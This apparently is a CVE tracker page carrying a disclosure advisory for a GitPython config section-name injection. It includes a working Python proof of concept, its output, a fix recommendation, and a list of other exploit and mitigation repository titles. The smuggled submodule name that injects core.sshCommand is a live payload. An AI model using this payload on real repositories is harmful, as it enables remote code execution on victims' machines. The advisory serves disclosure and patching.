### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl) p_exploit = parent_repo() git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl) ctl = injected_sshcommand(p_control) exp = injected_sshcommand(p_exploit) header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines() if l.startswith("[submodule")][0] print("control name :", repr(benign)) print(" git core.sshCommand ->", ctl, "(unset)") print("exploit name :", repr(evil)) print(" written header ->", header) print(" git core.sshCommand ->", exp) assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand" assert exp == (0, MARKER), "not reproduced" print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} " f"into the victim's trusted .git/config (git would run it on the next ssh op)") ``` Run: ```bash uv run --with GitPython==3.1.52 python poc.py ``` Observed output: ``` # GitPython 3.1.52 control name : 'docs' git core.sshCommand -> (1, '') (unset) exploit name : 'x"] [core] sshCommand=MARKER_9f3a #' written header -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"] git core.sshCommand -> (0, 'MARKER_9f3a') VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op) ``` The benign name yields a single clean `[submodule "docs"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `"` makes git reject the header); the `submodule "<name>"` wrapper balances them automatically. ### Impact Arbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths: - an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or - `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`. No non-default git settings are required. Primarily a Unix vector: on Windows the `"` in the resulting `.git/modules/<name>` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected). ### Recommended fix Reject or escape configuration section/subsection/option **names** that contain `]`, `[`, `"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path.
PoC: CVE-2026-116296
Gitea archived repository write-protection bypass — milestones, releases and labels unprotected (CVE-2026-116296)
PoC: NODE2SHELL
Read-only Node2Shell detection for CVE-2026-111497 using verified Node.js artifact identities.
PoC: PHP2SHELL
Evidence-based PHP2Shell assessment for CVE-2026-109618 and CVE-2026-109619.
PoC: GhostLock-CVE-2026-98260
基于ghostlock-app与CVE-2026-98260漏洞开发的提权项目
PoC: cve-2020-5902
by yora cve-2020-5902
PoC: CVE-2021-3156
Baron Samedit (CVE-2021-3156): sudo heap-based buffer overflow giving local root. PoC packaged with a static/musl launcher so it runs against older-glibc (2.31) targets.
PoC: php-secure-patch
Bash toolkit that finds and fixes PHP CVEs — PHP2Shell (CVE-2026-109618/109619), CVE-2026-115560, CVE-2024-4577, CVE-2019-11043 — on Linux and macOS. Detects runtimes, audits config, applies source patches, hardens php.ini / FPM / nginx / Apache, hunts compromise, rolls back cleanly. MIT.
PoC: CVE-2026-98260-IQOO-13
Temporary root for the Vivo iQOO 13 via CVE-2026-98260 posix-cpu-timer UAF, with KernelSU and FinaSU late-load
PoC: cve-2026-98432-mitigation-rpm
RPM package that applies an nftables mitigation for CVE-2026-98432 (RHSB-2026-016) on EL 8/9/10
PoC: CVE-2021-43798
CVE-2021-43798 – Grafana (8.0.0-beta1–8.3.0) arbitrary file read PoC
PoC: CVE-2026-98260-for-OPD2501
A CVE-2026-98260 adapt for OPPO Pad Air 5
PoC: Poc-exploit-for-CVE-2026-116779-FreeSWITCH-
🚨 CVE ID: CVE-2026-116779 📦 Product: FreeSWITCH 💉 Type: Command Injection (via SIP MESSAGE) 🔥 Score: 9.8 (Critical(RCE)) +20K target
PoC: SWITCH2-WEBKIT-JAILBREAK
Switch 2 WebKit jailbreak research: CSSFontFace UAF (CVE-2026-43715) primitives + fs escalation path + launcher
PoC: CVE-2026-109618-PHP2SHELL
SAHMSEC classroom lab for CVE-2026-109618(PHP2SHELL)
PoC: laravel-type-juggling-auth-bypass
Simulasi type juggling & implicit type conversion CVE-2026-114509 pada query autentikasi
PoC: CVE-2023-30861-flask-lab
Educational Docker lab reproducing CVE-2023-30861 (Flask session cookie disclosure via missing Vary: Cookie), with exploit, patch verification and a full write-up
PoC: CVE-2026-98260-iQOO-Neo9-Pro-Root
基于CVE-2026-98260的iQOO Neo9 Pro 临时Root实现，AwA
PoC: CVE-2026-19971_guest
LB-LINK WR1210M (CVE-2026-19971) 未授权配置泄露漏洞与访客网络扩展攻击链分析
PoC: drop-ipv4-opt
XDP program to mitigate CVE-2026-98432
PoC: brotli-decoder-overflow
Analysis of buffer overflow in Google Brotli decoder (CVE-2026-111497)
PoC: CVE-2026-63765
PoC exploit for CVE-2026-63765 — Chatwoot < 4.16.0 unauthenticated arbitrary file write via ActiveStorage Direct Upload
PoC: php56-php2shell-rpm
PHP 5.6.40 RPM packages with PHP2Shell security patches for CVE-2026-109618 and CVE-2026-109619 on EL6.
PoC: xboard-core
Xboard 节点后端：基于 Xray-core v26.10.31，单补丁实现设备数/限速，严格对齐 Xboard V2 契约，内置 CVE-2026-98432 缓解
PoC: CVE-2026-107406
Citrix NetScaler RCE/DoS CVE-2026-107406
PoC: poc-CVE-2026-98258
Proof-of-Concept for CVE-2026-98258.
PoC: log4shell-audit-18
Log4Shell (CVE-2021-44228) security audit and remediation tracking
PoC: log4shell-audit-17
Log4Shell (CVE-2021-44228) security audit and remediation tracking
PoC: log4shell-audit-16
Quarterly security briefing research and tracking for Log4Shell (CVE-2021-44228) remediation.
PoC: log4shell-audit-15
Quarterly security briefing research and tracking for Log4Shell (CVE-2021-44228) remediation.
PoC: log4shell-audit-14
Quarterly security briefing notes and remediation tracking for Log4Shell (CVE-2021-44228).
PoC: log4shell-audit-20
Log4Shell (CVE-2021-44228) security audit and remediation tracking
PoC: log4shell-audit-2025
Quarterly security briefing notes and remediation tracking for Log4Shell (CVE-2021-44228) and related Log4j 2 vulnerabilities.
PoC: log4shell-audit2
Quarterly security briefing audit notes for Log4Shell (CVE-2021-44228) and remediation tracking.
PoC: log4shell-audit-followup
Log4Shell (CVE-2021-44228) security research notes and remediation tracking
PoC: CVE-2026-115965
CVE-2026-115965
PoC: PROTECTION2Shell
Dependency-free toolkit that contains, patches and verifies the *2Shell families: PHP2Shell (CVE-2026-109618/109619), HTTP2Shell/Brotli (CVE-2026-111497), CVE-2024-4577, CVE-2019-11043. Cuts exploitation channels at the edge in minutes, applies verified upstream source patches, recycles workers, then re-checks every fix. Unattended: setup.sh --auto
PoC: wsftp-server-scanner
Detection-only local triage scanner for Progress WS_FTP Server October 2026 patch batch: CVE-2026-84295 (CVSS 10.0) and 14 more, graded per group against the split 2024.0.6/2025.0.3 vs 2024.0.7/2025.0.4 fix table. No payloads, no remote probing.
PoC: CVE-2026-116521-poc
CVE-2026-116521-poc
PoC: php2shell-2026-incident-analysis
Independent technical analysis of PHP2Shell (CVE-2026-109618 and CVE-2026-109619), covering root cause, disclosure, honeypot evidence, business risk, open-source security governance, and PHP ecosystem resilience.
PoC: CVE-2026-88773
CVE-2026-88773 - NetScaler nsppe 32-bit chunk-size accumulator wrap (HTTP Request Smuggling)
PoC: factorytalk-assetcentre-rce
Research PoC for FactoryTalk AssetCentre HTTP Remoting RCE (CVE-2021-27460 and CVE-2021-27466)
PoC: php-patch-check
Check whether a PHP version is patched against PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Stdlib-only Python.
PoC: php2shell-lab-verification
Defensive lab verification & IR note for php2shell (CVE-2026-109618 / CVE-2026-109619) — patch matrix, mitigation, hunt one-liners. No PoC.
PoC: cve-2026-18649
GStreamer RTP Depayloader Memory Exhaustion Analysis
PoC: WapGuard
Tiny Shizuku app that clears stuck 'SMS of Death' (CVE-2026-58882) WAP Push messages. Material 3 Expressive.
PoC: CVE-2026-112487
macOS revisiond local privilege escalation to root (CVE-2026-112487)
PoC: CVE-2026-120218
CVE-2026-120218: bilingual TypeMill stored XSS analysis and safe SVG/XSLT PoC
PoC: CVE-2026-98432
PoC for CVE-2026-98432 (Linux kernel IPv4 TCP inet_opt/ireq_opt use-after-free, CVSS 9.8): KASAN-verified UAF reproduction in inet_csk_route_req with A/B fixed-kernel control
PoC: debian-cve-2026-98432-fix
One-click kernel security update for CVE-2026-98432 on Debian 12/13.
PoC: CVE-2026-103039
CVE-2026-103039: Gravity Forms <= 3.1.2 PHP object injection to RCE. PoC by NOXCRYPT (noxcrypt-x). gen_payload.php is not included.
PoC: php2shell-ubuntu
Analisa e corrige as vulnerabilidades php2shell do PHP (CVE-2026-109618 e CVE-2026-109619) no Ubuntu
PoC: whatsapp-valleyrat-analysis
WhatsApp-delivered Winos 4.0 / ValleyRAT stager: DLL sideloading, BYOVD Defender kill (CVE-2026-36425), custom C2 protocol on TCP 443, and previously unreported C2 infrastructure.
PoC: CVE-2026-111585
CVE-2026-111585 — TeamViewer Remote-Control Screen Decompression Integer Overflow → Heap Buffer Overflow (PoC, fixed in 15.83, CVSS 8.8). Containerized lab + one-command repro with vulnerable/fixed differential evidence.
PoC: plr110-6.12.38-cve-2026-64560-ksu
Use cve-2026-64560 to root OneOlus ACE 6T
PoC: cve-2026-98432-ebpf
eBPF (XDP/tc) mitigation for CVE-2026-98432 / RHSB-2026-016 - untested draft
PoC: SG-2026-0037
CVE-2026-54523 Kyverno cross-namespace resource generation PoC and exploit
PoC: motogstylus2023-root
Root exploit for Motorola Moto G Stylus 5G 2023 (genevn) via GhostLock (CVE-2026-43499) — locked bootloader, no flashing
PoC: cve-2026-98432-ubuntu-mitigation
Check an Ubuntu host for CVE-2026-98432 and, after you confirm, apply the interim Red Hat RHSB-2026-016 mitigation. Ubuntu 20.04 to 26.10.
PoC: cve-2026-98432-nft-mitigation
Interim nftables mitigation for Linux kernel CVE-2026-98432 (IPv4-options UAF in tcp_v4_syn_recv_sock) as a reproducible agent skill
PoC: php-7.4-cve-2026-docker
PHP 7.4.33 CLI/FPM Docker image with pinned backports for CVE-2026-109618 and CVE-2026-109619, plus updated native libraries. Documented builds, source and patch checksums, focused regression tests, Trivy reports, and non-root defaults. Linux amd64. UNVERIFIED development preview; independent mysqlnd review remains incomplete.
PoC: cve-2026-98432
Stopgap firewall mitigation for CVE-2026-98432 on Ubuntu 16.04/24.04
PoC: quarkus-brotli-audit
Audit statique de l'exposition d'une application Quarkus au décodeur Brotli vulnérable (CVE-2026-111497). Généré avec Claude Code.
PoC: Samba_Fruit_Vuln
CVE-2021-44142 — Samba vfs_fruit heap OOB read/write lab demo (educational)
PoC: CVE-2026-101767
Unauthenticated SQL injection (CVSS 9.8) in the Oracle EBS 12.2.312.2.15 TCF servlet
PoC: php-8.1-cve-2026-docker
PHP 8.1.34 CLI/FPM Docker image with pinned backports for CVE-2026-109618 and CVE-2026-109619, plus updated native libraries. Documented builds, source and patch checksums, focused regression tests, Trivy reports, and non-root defaults. Linux amd64. UNVERIFIED development preview; independent mysqlnd review remains incomplete.
PoC: CVE-2026-63686
CVE-2026-63686 demo
PoC: CVE-2026-100105
Grafana alerting contact point authorization bypass via schema downgrade (CVSS 7.7) — containerized lab, full PoC, plus 2 unreported findings reproducible on 13.2.5
PoC: synipopt
IPv4 SYN with IP options, one lab target per run, for CVE-2026-98432 research. Header-offset parser, regression tests, and a postmortem of a broken auto-exploiter.
PoC: CVE-2026-116244
pgAdmin 4 server mode: libpq answers GSSAPI with the service account's Kerberos credentials (CVE-2026-116244, fixed in v9.19) — containerized lab + PoC
PoC: CVE-2026-116366
PoC for CVE-2026-116366 — ClickHouse Server unauthenticated RCE (brotli v1.2.0 decoder out-of-bounds write): differential detector, weaponized DoS, containerized vulnerable-vs-fixed lab, root-cause analysis
PoC: cve-2026-98432-guard
Temporary mitigation for CVE-2026-98432 on AlmaLinux 8/9/10 and Ubuntu. Not a kernel fix.
PoC: php2shell-lab
Isolated Docker lab for studying PHP2Shell vulnerabilities CVE-2026-109618 and CVE-2026-109619.
PoC: fragnesia-scanner
Detection-only local triage scanner for Linux kernel Fragnesia CVE-2026-46300: grade a running or installed kernel against upstream and distro fixed builds. No payloads, no network.
PoC: ddld36-solar-aegis
⛩️☀️ Zero-cost Cloudflare Edge Defense (CVE-2026-109618) + HTTP x402 AI Crawler Monetization. Earn 20% USDC. Landauer Thermodynamics on Base L2.
PoC: CVE-2012-0002
PoC de exploração do CVE-2012-0002 em equipamentos legados com SO já não suportados.
PoC: TryHackMe-OverlayFS---CVE-2021-3493
Here, We go
PoC: CVE-pipeshub
CVE-2026-119712 (CVSS 8.5 High) — PipesHub < 0.10.0 SSRF via image URLs in indexed documents (CWE-918). Verified PoC.
PoC: cve-2026-98432
Detector and local lab for CVE-2026-98432 (IPv4 TCP UAF in inet_opt/ireq_opt): static analysis, kprobes, the tcp2kaslr trigger vector, and remote-risk evidence. Not an exploit; no RCE.
PoC: pillow-patched-brotli
Pillow 13.0.0 wheel rebuilt with Brotli 1.2.1 for CVE-2026-111497, until Pillow 13.1.0 ships
PoC: fix_CVE-2026-98432
Ansible playbook to mitigate CVE-2026-98432
PoC: qt-t-shield
QT Analytics — Operation Fire Pole: Free 60-Second Emergency Defense & Reverse-Proxy Shield for PHP2Shell (CVE-2026-109618 / 109619)
PoC: whichphp
Is the PHP in your container image really fixed for PHP2Shell (CVE-2026-109618, CVE-2026-109619)? Finds every PHP build without running the image, with backport-aware verdicts and evidence.
PoC: CVE-2026-118776
Advisory for node-forge ⌯⌲ 53 mill weekly downloads
PoC: CVE-2026-103688
CVE-2026-103688: Checkout Files Upload for WooCommerce < 2.4.0 unauthenticated arbitrary file upload to RCE. PoC by NOXCRYPT (noxcrypt-x).
PoC: CVE-2026-109384
CVE-2026-109384: IvyForms <= 1.5.1 unauthenticated arbitrary file upload to RCE. PoC by NOXCRYPT (noxcrypt-x).
PoC: cve-2026-98432-mitigation
Interim nftables mitigation for CVE-2026-98432, automatic rollback and Russian administrator guide. Not a kernel patch.
PoC: ntu-se6013-nextjs-auth-bypass
NTU SE6013 Software Security: Next.js CVE-2025-29927 group project. Maintainer-reviewed fork-and-PR contributions.
PoC: cve-2026-98432-validation-mitigation
Read-only patch-state and exposure check for CVE-2026-98432 (Linux kernel IPv4 TCP use-after-free, CVSS 9.8), with opt-in interim mitigation and exact rollback.
PoC: CVE-2023-43364
Exploit for CVE-2023-43364 | Searchor <2.4.2 - Arbitrary Code Execution
PoC: hidra
Hidra - A12 / iOS 18.7.2 jailbreak research. Kernel entry via AppleJPEGDriver CVE-2026-20687. No public build yet.
PoC: tcp2kaslr
CVE-2026-98432: a plain IPv4 TCP server is vulnerable, MPTCP is not the trigger. Bug trigger, evidence and analysis.
PoC: project2026_20261030_tokengate
Un fichier PHP, zéro dépendance : dit si laravel/framework est encore sous le correctif TokenGuard (CVE-2026-114509). Aucun exploit, aucun réseau.
PoC: php2shell-research-portfolio
PHP2Shell CVE-2026-109618 and CVE-2026-109619 research and isolated RCE lab
PoC: CVE-2026-104623
PoC and Docker lab for CVE-2026-104623 — SUSE Rancher Manager local-cluster-shell authorization bypass: any authenticated user spawns a shell pod on the management cluster via alternate request forms that dodge the authorization gate. Validated end-to-end on rancher 2.15.2 (vulnerable) vs 2.15.3 (patched).
PoC: CVE-2026-106378
CVE-2026-106378 is a privilege escalation in the Google Chrome sandbox on macOS. An attacker who has already compromised the renderer process can execute arbitrary code **outside the sandbox** via a crafted HTML page.
PoC: cve-2026-6516-scanner
Find ADAudit Plus web servers in nmap output and triage CVE-2026-6516 (pre-auth RCE) in a single dependency-free Python file.
PoC: CVE-aisoc
CVE-2026-103056 (CVSS 4.0 9.4 Critical) — AiSOC < 12.0.0 OS command injection into CrowdStrike RTR command strings. Verified standalone PoC.
PoC: cve-2025-14847-scanner
Unauthenticated MongoDB enumeration, compression enumeration and CVE-2025-14847 triage in a single dependency-free Python file.
PoC: CVE-rapyd-admin
CVE-2026-109566 (CVSS 9.8) — Rapyd Admin 9.0.0 < 9.20.0 hard-coded super-admin credentials via AuthSeeder (admin@laravel / admin). Standalone exploit PoC.
PoC: cve-2026-98432
Proof-only PoC for CVE-2026-98432 (Linux IPv4/TCP ireq_opt use-after-free): race trigger, heap-reuse oracle, no code execution
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free